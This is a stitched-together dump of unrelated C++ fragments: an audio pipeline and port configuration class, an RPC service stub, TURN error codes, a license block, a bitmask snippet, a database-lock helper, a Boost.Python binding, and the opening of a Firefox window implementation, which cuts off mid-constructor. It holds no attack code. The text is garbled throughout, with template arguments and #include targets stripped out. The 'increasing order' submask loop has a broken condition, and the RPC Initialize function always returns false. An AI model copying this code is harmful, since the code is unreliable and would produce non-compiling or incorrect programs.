IasConfiguration::IasResult IasConfiguration::addPipeline(const std::string& name, IasPipelinePtr pipeline) { if (mPipelineMap.count(name) > 0) { /** * @log Pipeline names have to be unique. */ DLT_LOG_CXX(*mLog, DLT_LOG_ERROR, LOG_PREFIX, "Pipeline", name, "already exists"); return eIasObjectAlreadyExists; } mPipelineMap[name] = pipeline; DLT_LOG_CXX(*mLog, DLT_LOG_INFO, LOG_PREFIX, "Pipeline", name, "added"); return eIasOk; } IasConfiguration::IasResult IasConfiguration::getPipeline(const std::string& name, IasPipelinePtr* pipeline) { if (pipeline == nullptr) { return eIasNullPointer; } if (mPipelineMap.count(name) > 0) { *pipeline = mPipelineMap.at(name); return eIasOk; } else { return eIasObjectNotFound; } } void IasConfiguration::deletePipeline(const std::string& name) { if (mPipelineMap.count(name) > 0) { mPipelineMap.erase(name); } } uint32_t IasConfiguration::getNumberSourceDevices() const { return static_cast(mSourceDeviceMap.size()); } uint32_t IasConfiguration::getNumberSinkDevices() const { return static_cast(mSinkDeviceMap.size()); } uint32_t IasConfiguration::getNumberRoutingZones() const { return static_cast(mRoutingZoneMap.size()); } uint32_t IasConfiguration::getNumberPipelines() const { return static_cast(mPipelineMap.size()); } IasConfiguration::IasResult IasConfiguration::addPin(IasAudioPinPtr pin) { if (pin == nullptr) { DLT_LOG_CXX(*mLog, DLT_LOG_ERROR, LOG_PREFIX, "pin == nullptr"); return eIasFailed; } std::string name = pin->getParameters()->name; if (mPinMap.find(name) == mPinMap.end()) { mPinMap[name] = pin; } return eIasOk; } void IasConfiguration::removePin(std::string name) { if (mPinMap.find(name) != mPinMap.end()) { mPinMap.erase(name); } } IasConfiguration::IasResult IasConfiguration::addPort(IasAudioPortPtr port) { if (port == nullptr) { DLT_LOG_CXX(*mLog, DLT_LOG_ERROR, LOG_PREFIX, "Port == nullptr"); return eIasFailed; } int32_t id = port->getParameters()->id; std::string name = port->getParameters()->name; if (mPortMap.find(name) == mPortMap.end()) { mPortMap[name] = port; } // If the port ID is specified (i.e., if it is not -1), add the port to the Port Map. if (id >= 0) { IasPortDirection direction = port->getParameters()->direction; std::string directionStr; IasIdPortMap *portMap; if (direction == eIasPortDirectionInput) { directionStr = "Input"; portMap = &mInputPortMap; } else { directionStr = "Output"; portMap = &mOutputPortMap; } IAS_ASSERT(portMap != nullptr); if (portMap->find(id) != portMap->end()) { DLT_LOG_CXX(*mLog, DLT_LOG_ERROR, LOG_PREFIX, directionStr, "Port with Id", id, "already exists"); return eIasFailed; } (*portMap)[id] = port; } return eIasOk; } IasConfiguration::IasResult IasConfiguration::getPinByName(const std::string &name, IasAudioPinPtr *pin) { if(pin == nullptr) { DLT_LOG_CXX(*mLog, DLT_LOG_ERROR, LOG_PREFIX, "pin == nullptr"); return eIasFailed; } bool bPinNameFound = false; for(auto& it : mPinMap) { std::string nameFound = it.second->getParameters()->name; if(nameFound.compare(name) == 0) { bPinNameFound = true; *pin = it.second; break; } } if(bPinNameFound == false) { DLT_LOG_CXX(*mLog, DLT_LOG_INFO, LOG_PREFIX, "Pin with name", name.c_str(), "doesn't exist"); return eIasObjectNotFound; } else { return eIasOk; } } IasConfiguration::IasResult IasConfiguration::getPortByName(const std::string &name, IasAudioPortPtr *port) { if (port == nullptr) { /** * @log Location where to put return value is undefined. */ DLT_LOG_CXX(*mLog, DLT_LOG_ERROR, LOG_PREFIX, "port == nullptr"); return eIasFailed; } bool bPortNameFound = false; for(auto& it : mPortMap) { std::string nameFound = it.second->getParameters()->name; if(nameFound.compare(name) == 0) { bPortNameFound = true; *port = it.second; break; } } if(bPortNameFound == false) { /** * @log Port with name doesn't exist. */ DLT_LOG_CXX(*mLog, DLT_LOG_INFO, LOG_PREFIX, "Port with name", name.c_str(), "doesn't exist"); return eIasObjectNotFound; } else { return eIasOk; } } IasConfiguration::IasResult IasConfiguration::getOutputPort(int32_t sourceId, IasAudioPortPtr* port) { if (port == nullptr) { /** * @log Location where to put return value is undefined. */ DLT_LOG_CXX(*mLog, DLT_LOG_ERROR, LOG_PREFIX, "Port == nullptr"); return eIasFailed; } if (mOutputPortMap.find(sourceId) == mOutputPortMap.end()) { /** * @log Port with sourceId doesn't exist. */ DLT_LOG_CXX(*mLog, DLT_LOG_ERROR, LOG_PREFIX, "Port with sourceId", sourceId, "doesn't exist"); return eIasFailed; } *port = mOutputPortMap[sourceId]; return eIasOk; } void IasConfiguration::deleteOutputPort(int32_t sourceId) { if (sourceId >= 0) { IasIdPortMap::iterator it = mOutputPortMap.find(sourceId); if(it == mOutputPortMap.end()) { /** * @log Output port with doesn't exist. */ DLT_LOG_CXX(*mLog, DLT_LOG_ERROR, LOG_PREFIX, "Couldn't find output port with sourceId", sourceId); return; } std::string portName = it->second->getParameters()->name; uint64_t numDeleted = mPortMap.erase(portName); if(numDeleted != 1) { /** * @log Could not delete port with from global port list. */ DLT_LOG_CXX(*mLog, DLT_LOG_ERROR, LOG_PREFIX, "Couldn't delete port with sourceId from global port list", sourceId); return; } mOutputPortMap.erase(sourceId); //should work, cause we checked above that sourceId can be found in this map } } IasConfiguration::IasResult IasConfiguration::getInputPort(int32_t sinkId, IasAudioPortPtr* port) { if (port == nullptr) { /** * @log Destination for return value is undefined. */ DLT_LOG_CXX(*mLog, DLT_LOG_ERROR, LOG_PREFIX, "Port == nullptr"); return eIasFailed; } if (mInputPortMap.find(sinkId) == mInputPortMap.end()) { /** * @log Port with sinkId doesn't exist. */ DLT_LOG_CXX(*mLog, DLT_LOG_ERROR, LOG_PREFIX, "Port with sinkId", sinkId, "doesn't exist"); return eIasFailed; } *port = mInputPortMap[sinkId]; return eIasOk; } void IasConfiguration::deleteInputPort(int32_t sinkId) { if (sinkId >= 0) { IasIdPortMap::iterator it = mInputPortMap.find(sinkId); if(it == mInputPortMap.end()) { /** * @log Output port with doesn't exist. */ DLT_LOG_CXX(*mLog, DLT_LOG_ERROR, LOG_PREFIX, "Couldn't find input port with sinkId", sinkId); return; } std::string portName = it->second->getParameters()->name; uint64_t numDeleted = mPortMap.erase(portName); if(numDeleted != 1) { /** * @log Could not delete port with from global port list. */ DLT_LOG_CXX(*mLog, DLT_LOG_ERROR, LOG_PREFIX, "Couldn't delete port with sinkId from global port list", sinkId); return; } mInputPortMap.erase(sinkId); //should work, cause we checked above that sourceId can be found in this map } } void IasConfiguration::deletePortByName(std::string name) { IasPortMap::iterator it = mPortMap.find(name); if(it == mPortMap.end()) { /** * @log Could not delete port with from global port list. */ DLT_LOG_CXX(*mLog, DLT_LOG_ERROR, LOG_PREFIX, "Couldn't delete port with name",name.c_str(), "from global port list"); return; } mPortMap.erase(name); } void IasConfiguration::addLogicalSource(std::string name, int32_t id) { IasLogicalSourceMap::iterator it; std::set tempSet; it=mLogicalSourceMap.find(name); if (it == mLogicalSourceMap.end()) { tempSet.insert(id); std::pair> tmpPair(name,tempSet); mLogicalSourceMap.insert(tmpPair); } else { it->second.insert(id); } } std::set IasConfiguration::findGroupedSourceIds(int32_t sourceId) { std::set groupedSources; std::set::iterator setIt; IasLogicalSourceMap::iterator it; for(it=mLogicalSourceMap.begin();it!=mLogicalSourceMap.end();it++) { for (setIt=it->second.begin(); setIt!=it->second.end(); ++setIt) { if(*setIt == sourceId) { return it->second; } } } return groupedSources; } IasPropertiesPtr IasConfiguration::getPropertiesForModule(IasProcessingModulePtr module) { IAS_ASSERT(module != nullptr); auto entry = mModulePropertiesMap.find(module); if (entry != mModulePropertiesMap.end()) { DLT_LOG_CXX(*mLog, DLT_LOG_INFO, LOG_PREFIX, "Return existing properties for module", module->getParameters()->instanceName); return entry->second; } else { IasPropertiesPtr newProperties = std::make_shared(); IAS_ASSERT(newProperties != nullptr); DLT_LOG_CXX(*mLog, DLT_LOG_INFO, LOG_PREFIX, "Created new properties for module", module->getParameters()->instanceName); return newProperties; } } void IasConfiguration::setPropertiesForModule(IasProcessingModulePtr module, const IasProperties &properties) { IAS_ASSERT(module != nullptr); auto entry = mModulePropertiesMap.find(module); if (entry != mModulePropertiesMap.end()) { DLT_LOG_CXX(*mLog, DLT_LOG_INFO, LOG_PREFIX, "Existing properties for module", module->getParameters()->instanceName, "will be overwritten"); *entry->second = properties; } else { IasPropertiesPtr newProperties = std::make_shared(properties); IAS_ASSERT(newProperties != nullptr); mModulePropertiesMap[module] = newProperties; DLT_LOG_CXX(*mLog, DLT_LOG_INFO, LOG_PREFIX, "Created new properties for module", module->getParameters()->instanceName); } } } //namespace IasAudio /* * Copyright (c) 2016, https://github.com/nebula-im * All rights reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #include "base/base_zrpc_service.h" #include "nebula/base/logger/glog_util.h" bool BaseZRpcService::Initialize(zproto::RpcRequestPtr v) { if (!v->has_attach_data()) { LOG(FATAL) << "Initialize - attach_data empty!!! " << v->ToString(); return false; } if (v->attach_data.options.size() == MAX) { LOG(ERROR) << "Initialize - attach_data empty!!! " << v->ToString(); return false; } // TODO(@benqi): 检查附加字段 rpc_request_ = v; return false; } #ifndef ERRORCODE_HXX #define ERRORCODE_HXX #include namespace reTurn { typedef int ErrorType; static const ErrorType Success = 0; static const ErrorType GeneralError = -1; static const ErrorType ErrorBase = 8000; static const ErrorType MissingAuthenticationAttributes = ErrorBase + 1; static const ErrorType BufferTooSmall = ErrorBase + 2; static const ErrorType BadMessageIntegrity = ErrorBase + 3; static const ErrorType ErrorParsingMessage = ErrorBase + 4; static const ErrorType NoAllocation = ErrorBase + 5; static const ErrorType NoActiveDestination = ErrorBase + 6; static const ErrorType ReadError = ErrorBase + 7; static const ErrorType ResponseTimeout = ErrorBase + 8; static const ErrorType FrameError = ErrorBase + 9; static const ErrorType InvalidChannelNumberReceived = ErrorBase + 10; static const ErrorType MissingAttributes = ErrorBase + 11; static const ErrorType UnknownRemoteAddress = ErrorBase + 12; static const ErrorType InvalidRequestedTransport = ErrorBase + 13; static const ErrorType NotConnected = ErrorBase + 14; static const ErrorType AlreadyAllocated = ErrorBase + 15; static const ErrorType StrayResponse = ErrorBase + 16; static const ErrorType UnknownRequiredAttributes = ErrorBase + 17; } #endif /* ==================================================================== Copyright (c) 2007-2008, Plantronics, Inc. All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. 3. Neither the name of Plantronics nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. ==================================================================== */ @DOC by DIPTA/dipta007_final/Dynamic Programming/submask-dp.cpp /// Iterate all subsets of a bitmask in increasing order for ( int sub = 0 ; sub = sub - mask & mask ; ) { // do something } /// Iterate all subsets of a bitmask in decreasing order for(int sub = (mask-1) & mask ; sub > 0 ; sub = (sub-1) & mask ) { // do something } Real/src/repch.cpp #include "repch.h" /* * Real Engine Precompiled header .cpp file, that needed only for Windows C++ compiler * */build2/brep // file : libbrep/database-lock.cxx -*- C++ -*- // license : MIT; see accompanying LICENSE file #include #include #include #include namespace brep { using namespace odb::pgsql; database_lock:: database_lock (database& db) { // Before locking the table make sure it exists. // { transaction t (db.begin ()); db.execute ("CREATE TABLE IF NOT EXISTS database_mutex ()"); t.commit (); } connection_ = db.connection (); // Don't make current. Will be rolled back in destructor. // transaction_.reset (new transaction (connection_->begin (), false)); try { connection_->execute ("LOCK TABLE database_mutex NOWAIT"); } catch (const database_exception& e) { if (e.sqlstate () == "55P03") // The table is already locked. throw database_locked (); throw; } } } abelard2008/overlog #include #include using namespace boost::python; void export_timedPushSource() { class_, boost::shared_ptr, boost::noncopyable> ("TimedPushSource", init()) .def("class_name", &TimedPushSource::class_name) .def("flow_code", &TimedPushSource::flow_code) .def("processing", &TimedPushSource::processing) .def("initialize", &TimedPushSource::initialize) .def("runTimer", &TimedPushSource::runTimer) ; } wilebeast/FireFox-OS /* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* vim: set sw=2 ts=2 et tw=78: */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ #include "base/basictypes.h" /* This must occur *after* base/basictypes.h to avoid typedefs conflicts. */ #include "mozilla/Util.h" // Local Includes #include "nsGlobalWindow.h" #include "Navigator.h" #include "nsScreen.h" #include "nsHistory.h" #include "nsPerformance.h" #include "nsDOMNavigationTiming.h" #include "nsBarProps.h" #include "nsDOMStorage.h" #include "nsDOMOfflineResourceList.h" #include "nsError.h" #include "nsIIdleService.h" #ifdef XP_WIN #ifdef GetClassName #undef GetClassName #endif // GetClassName #endif // XP_WIN // Helper Classes #include "nsXPIDLString.h" #include "nsJSUtils.h" #include "prmem.h" #include "jsapi.h" // for JSAutoRequest #include "jsdbgapi.h" // for JS_ClearWatchPointsForObject #include "jsfriendapi.h" // for JS_GetGlobalForFrame #include "jswrapper.h" #include "nsReadableUtils.h" #include "nsDOMClassInfo.h" #include "nsJSEnvironment.h" #include "nsCharSeparatedTokenizer.h" // for Accept-Language parsing #include "nsUnicharUtils.h" #include "mozilla/Preferences.h" // Other Classes #include "nsEventListenerManager.h" #include "nsEscape.h" #include "nsStyleCoord.h" #include "nsMimeTypeArray.h" #include "nsNetUtil.h" #include "nsICachingChannel.h" #include "nsPluginArray.h" #include "nsIPluginHost.h" #include "nsPluginHost.h" #include "nsIPluginInstanceOwner.h" #include "nsGeolocation.h" #include "nsDesktopNotification.h" #include "nsContentCID.h" #include "nsLayoutStatics.h" #include "nsCycleCollector.h" #include "nsCCUncollectableMarker.h" #include "nsAutoJSValHolder.h" #include "nsDOMMediaQueryList.h" #include "mozilla/dom/workers/Workers.h" #include "nsJSPrincipals.h" #include "mozilla/Attributes.h" // Interfaces Needed #include "nsIFrame.h" #include "nsCanvasFrame.h" #include "nsIWidget.h" #include "nsIWidgetListener.h" #include "nsIBaseWindow.h" #include "nsDeviceSensors.h" #include "nsIContent.h" #include "nsIContentViewerEdit.h" #include "nsIDocShell.h" #include "nsIDocShellLoadInfo.h" #include "nsIDocShellTreeItem.h" #include "nsIDocShellTreeNode.h" #include "nsIEditorDocShell.h" #include "nsIDocCharset.h" #include "nsIDocument.h" #include "nsIHTMLDocument.h" #include "nsIDOMHTMLDocument.h" #include "nsIDOMHTMLElement.h" #ifndef MOZ_DISABLE_DOMCRYPTO #include "nsIDOMCrypto.h" #endif #include "nsIDOMDocument.h" #include "nsIDOMElement.h" #include "nsIDOMEvent.h" #include "nsIDOMHTMLAnchorElement.h" #include "nsIDOMKeyEvent.h" #include "nsIDOMMessageEvent.h" #include "nsIDOMPopupBlockedEvent.h" #include "nsIDOMPopStateEvent.h" #include "nsIDOMHashChangeEvent.h" #include "nsIDOMOfflineResourceList.h" #include "nsIDOMGeoGeolocation.h" #include "nsIDOMDesktopNotification.h" #include "nsPIDOMStorage.h" #include "nsDOMString.h" #include "nsIEmbeddingSiteWindow.h" #include "nsThreadUtils.h" #include "nsEventStateManager.h" #include "nsIHttpProtocolHandler.h" #include "nsIJSContextStack.h" #include "nsIJSRuntimeService.h" #include "nsILoadContext.h" #include "nsIMarkupDocumentViewer.h" #include "nsIPresShell.h" #include "nsIProgrammingLanguage.h" #include "nsIServiceManager.h" #include "nsIScriptGlobalObjectOwner.h" #include "nsIScriptSecurityManager.h" #include "nsIScrollableFrame.h" #include "nsIView.h" #include "nsIViewManager.h" #include "nsISelectionController.h" #include "nsISelection.h" #include "nsIPrompt.h" #include "nsIPromptService.h" #include "nsIPromptFactory.h" #include "nsIWritablePropertyBag2.h" #include "nsIWebNavigation.h" #include "nsIWebBrowser.h" #include "nsIWebBrowserChrome.h" #include "nsIWebBrowserFind.h" // For window.find() #include "nsIWebContentHandlerRegistrar.h" #include "nsIWindowMediator.h" // For window.find() #include "nsComputedDOMStyle.h" #include "nsIEntropyCollector.h" #include "nsDOMCID.h" #include "nsDOMWindowUtils.h" #include "nsIWindowWatcher.h" #include "nsPIWindowWatcher.h" #include "nsIContentViewer.h" #include "nsIJSNativeInitializer.h" #include "nsIScriptError.h" #include "nsIConsoleService.h" #include "nsIControllers.h" #include "nsIControllerContext.h" #include "nsGlobalWindowCommands.h" #include "nsAutoPtr.h" #include "nsContentUtils.h" #include "nsCSSProps.h" #include "nsBlobProtocolHandler.h" #include "nsIDOMFile.h" #include "nsIDOMFileList.h" #include "nsIURIFixup.h" #include "nsCDefaultURIFixup.h" #include "nsEventDispatcher.h" #include "nsIObserverService.h" #include "nsIXULAppInfo.h" #include "nsNetUtil.h" #include "nsFocusManager.h" #include "nsIXULWindow.h" #include "nsEventStateManager.h" #include "nsITimedChannel.h" #include "nsICookiePermission.h" #include "nsServiceManagerUtils.h" #ifdef MOZ_XUL #include "nsXULPopupManager.h" #include "nsIDOMXULControlElement.h" #include "nsMenuPopupFrame.h" #endif #include "xpcprivate.h" #ifdef NS_PRINTING #include "nsIPrintSettings.h" #include "nsIPrintSettingsService.h" #include "nsIWebBrowserPrint.h" #endif #include "nsWindowRoot.h" #include "nsNetCID.h" #include "nsIArray.h" #include "nsIScriptRuntime.h" // XXX An unfortunate dependency exists here (two XUL files). #include "nsIDOMXULDocument.h" #include "nsIDOMXULCommandDispatcher.h" #include "nsBindingManager.h" #include "nsXBLService.h" // used for popup blocking, needs to be converted to something // belonging to the back-end like nsIContentPolicy #include "nsIPopupWindowManager.h" #include "nsIDragService.h" #include "mozilla/dom/Element.h" #include "nsFrameLoader.h" #include "nsISupportsPrimitives.h" #include "nsXPCOMCID.h" #include "GeneratedEvents.h" #include "mozIThirdPartyUtil.h" #ifdef MOZ_LOGGING // so we can get logging even in release builds #define FORCE_PR_LOG 1 #endif #include "prlog.h" #include "prenv.h" #include "mozilla/dom/indexedDB/IDBFactory.h" #include "mozilla/dom/indexedDB/IndexedDatabaseManager.h" #include "mozilla/dom/StructuredCloneTags.h" #include "nsRefreshDriver.h" #include "mozAutoDocUpdate.h" #include "mozilla/Telemetry.h" #include "nsLocation.h" #include "nsWrapperCacheInlines.h" #include "nsDOMEventTargetHelper.h" #include "nsIAppsService.h" #include "prrng.h" #include "nsSandboxFlags.h" #include "TimeChangeObserver.h" #include "nsPISocketTransportService.h" #ifdef ANDROID #include #endif #ifdef PR_LOGGING static PRLogModuleInfo* gDOMLeakPRLog; #endif static const char kStorageEnabled[] = "dom.storage.enabled"; using namespace mozilla; using namespace mozilla::dom; using namespace mozilla::dom::ipc; using mozilla::TimeStamp; using mozilla::TimeDuration; nsGlobalWindow::WindowByIdTable *nsGlobalWindow::sWindowsById = nullptr; bool nsGlobalWindow::sWarnedAboutWindowInternal = false; bool nsGlobalWindow::sIdleObserversAPIFuzzTimeDisabled = false; static nsIEntropyCollector *gEntropyCollector = nullptr; static int32_t gRefCnt = 0; static int32_t gOpenPopupSpamCount = 0; static PopupControlState gPopupControlState = openAbused; static int32_t gRunningTimeoutDepth = 0; static bool gMouseDown = false; static bool gDragServiceDisabled = false; static FILE *gDumpFile = nullptr; static uint64_t gNextWindowID = 0; static uint32_t gSerialCounter = 0; static uint32_t gTimeoutsRecentlySet = 0; static TimeStamp gLastRecordedRecentTimeouts; #define STATISTICS_INTERVAL (30 * PR_MSEC_PER_SEC) #ifdef DEBUG_jst int32_t gTimeoutCnt = 0; #endif #if !(defined(DEBUG) || defined(MOZ_ENABLE_JS_DUMP)) static bool gDOMWindowDumpEnabled = false; #endif #if defined(DEBUG_bryner) || defined(DEBUG_chb) #define DEBUG_PAGE_CACHE #endif #define DOM_TOUCH_LISTENER_ADDED "dom-touch-listener-added" // The default shortest interval/timeout we permit #define DEFAULT_MIN_TIMEOUT_VALUE 4 // 4ms #define DEFAULT_MIN_BACKGROUND_TIMEOUT_VALUE 1000 // 1000ms static int32_t gMinTimeoutValue; static int32_t gMinBackgroundTimeoutValue; inline int32_t nsGlobalWindow::DOMMinTimeoutValue() const { bool isBackground = !mOuterWindow || mOuterWindow->IsBackground(); return NS_MAX(isBackground ? gMinBackgroundTimeoutValue : gMinTimeoutValue, 0); } // The number of nested timeouts before we start clamping. HTML5 says 1, WebKit // uses 5. #define DOM_CLAMP_TIMEOUT_NESTING_LEVEL 5 // The longest interval (as PRIntervalTime) we permit, or that our // timer code can handle, really. See DELAY_INTERVAL_LIMIT in // nsTimerImpl.h for details. #define DOM_MAX_TIMEOUT_VALUE DELAY_INTERVAL_LIMIT #define FORWARD_TO_OUTER(method, args, err_rval) \ PR_BEGIN_MACRO \ if (IsInnerWindow()) { \ nsGlobalWindow *outer = GetOuterWindowInternal(); \ if (!outer) { \ NS_WARNING("No outer window available!"); \ return err_rval; \ } \ return outer->method args; \ } \ PR_END_MACRO #define FORWARD_TO_OUTER_VOID(method, args) \ PR_BEGIN_MACRO \ if (IsInnerWindow()) { \ nsGlobalWindow *outer = GetOuterWindowInternal(); \ if (!outer) { \ NS_WARNING("No outer window available!"); \ return; \ } \ outer->method args; \ return; \ } \ PR_END_MACRO #define FORWARD_TO_OUTER_CHROME(method, args, err_rval) \ PR_BEGIN_MACRO \ if (IsInnerWindow()) { \ nsGlobalWindow *outer = GetOuterWindowInternal(); \ if (!outer) { \ NS_WARNING("No outer window available!"); \ return err_rval; \ } \ return ((nsGlobalChromeWindow *)outer)->method args; \ } \ PR_END_MACRO #define FORWARD_TO_INNER_CHROME(method, args, err_rval) \ PR_BEGIN_MACRO \ if (IsOuterWindow()) { \ if (!mInnerWindow) { \ NS_WARNING("No inner window available!"); \ return err_rval; \ } \ return ((nsGlobalChromeWindow *)mInnerWindow)->method args; \ } \ PR_END_MACRO #define FORWARD_TO_OUTER_MODAL_CONTENT_WINDOW(method, args, err_rval) \ PR_BEGIN_MACRO \ if (IsInnerWindow()) { \ nsGlobalWindow *outer = GetOuterWindowInternal(); \ if (!outer) { \ NS_WARNING("No outer window available!"); \ return err_rval; \ } \ return ((nsGlobalModalWindow *)outer)->method args; \ } \ PR_END_MACRO #define FORWARD_TO_INNER(method, args, err_rval) \ PR_BEGIN_MACRO \ if (IsOuterWindow()) { \ if (!mInnerWindow) { \ NS_WARNING("No inner window available!"); \ return err_rval; \ } \ return GetCurrentInnerWindowInternal()->method args; \ } \ PR_END_MACRO #define FORWARD_TO_INNER_MODAL_CONTENT_WINDOW(method, args, err_rval) \ PR_BEGIN_MACRO \ if (IsOuterWindow()) { \ if (!mInnerWindow) { \ NS_WARNING("No inner window available!"); \ return err_rval; \ } \ return ((nsGlobalModalWindow*)GetCurrentInnerWindowInternal())->method args; \ } \ PR_END_MACRO #define FORWARD_TO_INNER_VOID(method, args) \ PR_BEGIN_MACRO \ if (IsOuterWindow()) { \ if (!mInnerWindow) { \ NS_WARNING("No inner window available!"); \ return; \ } \ GetCurrentInnerWindowInternal()->method args; \ return; \ } \ PR_END_MACRO // Same as FORWARD_TO_INNER, but this will create a fresh inner if an // inner doesn't already exists. #define FORWARD_TO_INNER_CREATE(method, args, err_rval) \ PR_BEGIN_MACRO \ if (IsOuterWindow()) { \ if (!mInnerWindow) { \ if (mIsClosed) { \ return err_rval; \ } \ nsCOMPtr doc; \ nsresult fwdic_nr = GetDocument(getter_AddRefs(doc)); \ NS_ENSURE_SUCCESS(fwdic_nr, err_rval); \ if (!mInnerWindow) { \ return err_rval; \ } \ } \ return GetCurrentInnerWindowInternal()->method args; \ } \ PR_END_MACRO // CIDs static NS_DEFINE_CID(kXULControllersCID, NS_XULCONTROLLERS_CID); static const char sJSStackContractID[] = "@mozilla.org/js/xpc/ContextStack;1"; #ifndef MOZ_DISABLE_DOMCRYPTO static const char kCryptoContractID[] = NS_CRYPTO_CONTRACTID; static const char kPkcs11ContractID[] = NS_PKCS11_CONTRACTID; #endif static const char sPopStatePrefStr[] = "browser.history.allowPopState"; #define NETWORK_UPLOAD_EVENT_NAME NS_LITERAL_STRING("moznetworkupload") #define NETWORK_DOWNLOAD_EVENT_NAME NS_LITERAL_STRING("moznetworkdownload") /** * An object implementing the window.URL property. */ class nsDOMMozURLProperty MOZ_FINAL : public nsIDOMMozURLProperty { public: nsDOMMozURLProperty(nsGlobalWindow* aWindow) : mWindow(aWindow) { } NS_DECL_ISUPPORTS NS_DECL_NSIDOMMOZURLPROPERTY void ClearWindowReference() { mWindow = nullptr; } private: nsGlobalWindow* mWindow; }; DOMCI_DATA(MozURLProperty, nsDOMMozURLProperty) NS_IMPL_ADDREF(nsDOMMozURLProperty) NS_IMPL_RELEASE(nsDOMMozURLProperty) NS_INTERFACE_MAP_BEGIN(nsDOMMozURLProperty) NS_INTERFACE_MAP_ENTRY(nsIDOMMozURLProperty) NS_INTERFACE_MAP_ENTRY_AMBIGUOUS(nsISupports, nsIDOMMozURLProperty) NS_DOM_INTERFACE_MAP_ENTRY_CLASSINFO(MozURLProperty) NS_INTERFACE_MAP_END NS_IMETHODIMP nsDOMMozURLProperty::CreateObjectURL(nsIDOMBlob* aBlob, nsAString& aURL) { NS_PRECONDITION(!mWindow || mWindow->IsInnerWindow(), "Should be inner window"); NS_ENSURE_STATE(mWindow && mWindow->mDoc); NS_ENSURE_ARG_POINTER(aBlob); nsIDocument* doc = mWindow->mDoc; nsresult rv = aBlob->GetInternalUrl(doc->NodePrincipal(), aURL); NS_ENSURE_SUCCESS(rv, rv); doc->RegisterFileDataUri(NS_LossyConvertUTF16toASCII(aURL)); return NS_OK; } NS_IMETHODIMP nsDOMMozURLProperty::RevokeObjectURL(const nsAString& aURL) { NS_PRECONDITION(!mWindow || mWindow->IsInnerWindow(), "Should be inner window"); NS_ENSURE_STATE(mWindow); NS_LossyConvertUTF16toASCII asciiurl(aURL); nsIPrincipal* winPrincipal = mWindow->GetPrincipal(); if (!winPrincipal) { return NS_OK; } nsIPrincipal* principal = nsBlobProtocolHandler::GetFileDataEntryPrincipal(asciiurl); bool subsumes; if (principal && winPrincipal && NS_SUCCEEDED(winPrincipal->Subsumes(principal, &subsumes)) && subsumes) { if (mWindow->mDoc) { mWindow->mDoc->UnregisterFileDataUri(asciiurl); } nsBlobProtocolHandler::RemoveFileDataEntry(asciiurl); } return NS_OK; } /** * An indirect observer object that means we don't have to implement nsIObserver * on nsGlobalWindow, where any script could see it. */ class nsGlobalWindowObserver MOZ_FINAL : public nsIObserver, public nsIInterfaceRequestor { public: nsGlobalWindowObserver(nsGlobalWindow* aWindow) : mWindow(aWindow) {} NS_DECL_ISUPPORTS NS_IMETHOD Observe(nsISupports* aSubject, const char* aTopic, const PRUnichar* aData) { if (!mWindow) return NS_OK; return mWindow->Observe(aSubject, aTopic, aData); } void Forget() { mWindow = nullptr; } NS_IMETHODIMP GetInterface(const nsIID& aIID, void** aResult) { if (mWindow && aIID.Equals(NS_GET_IID(nsIDOMWindow)) && mWindow) { return mWindow->QueryInterface(aIID, aResult); } return NS_NOINTERFACE; } private: nsGlobalWindow* mWindow; }; NS_IMPL_ISUPPORTS2(nsGlobalWindowObserver, nsIObserver, nsIInterfaceRequestor) nsTimeout::nsTimeout() { #ifdef DEBUG_jst { extern int gTimeoutCnt; ++gTimeoutCnt; } #endif memset(this, 0, sizeof(*this)); MOZ_COUNT_CTOR(nsTimeout); } nsTimeout::~nsTimeout() { #ifdef DEBUG_jst { extern int gTimeoutCnt; --gTimeoutCnt; } #endif MOZ_COUNT_DTOR(nsTimeout); } NS_IMPL_CYCLE_COLLECTION_LEGACY_NATIVE_CLASS(nsTimeout) NS_IMPL_CYCLE_COLLECTION_UNLINK_NATIVE_0(nsTimeout) NS_IMPL_CYCLE_COLLECTION_TRAVERSE_NATIVE_BEGIN(nsTimeout) NS_IMPL_CYCLE_COLLECTION_TRAVERSE_NSCOMPTR_AMBIGUOUS(mWindow, nsIScriptGlobalObject) NS_IMPL_CYCLE_COLLECTION_TRAVERSE_NSCOMPTR(mPrincipal) NS_IMPL_CYCLE_COLLECTION_TRAVERSE_NSCOMPTR(mScriptHandler) NS_IMPL_CYCLE_COLLECTION_TRAVERSE_END NS_IMPL_CYCLE_COLLECTION_ROOT_NATIVE(nsTimeout, AddRef) NS_IMPL_CYCLE_COLLECTION_UNROOT_NATIVE(nsTimeout, Release) nsPIDOMWindow::nsPIDOMWindow(nsPIDOMWindow *aOuterWindow) : mFrameElement(nullptr), mDocShell(nullptr), mModalStateDepth(0), mRunningTimeout(nullptr), mMutationBits(0), mIsDocumentLoaded(false), mIsHandlingResizeEvent(false), 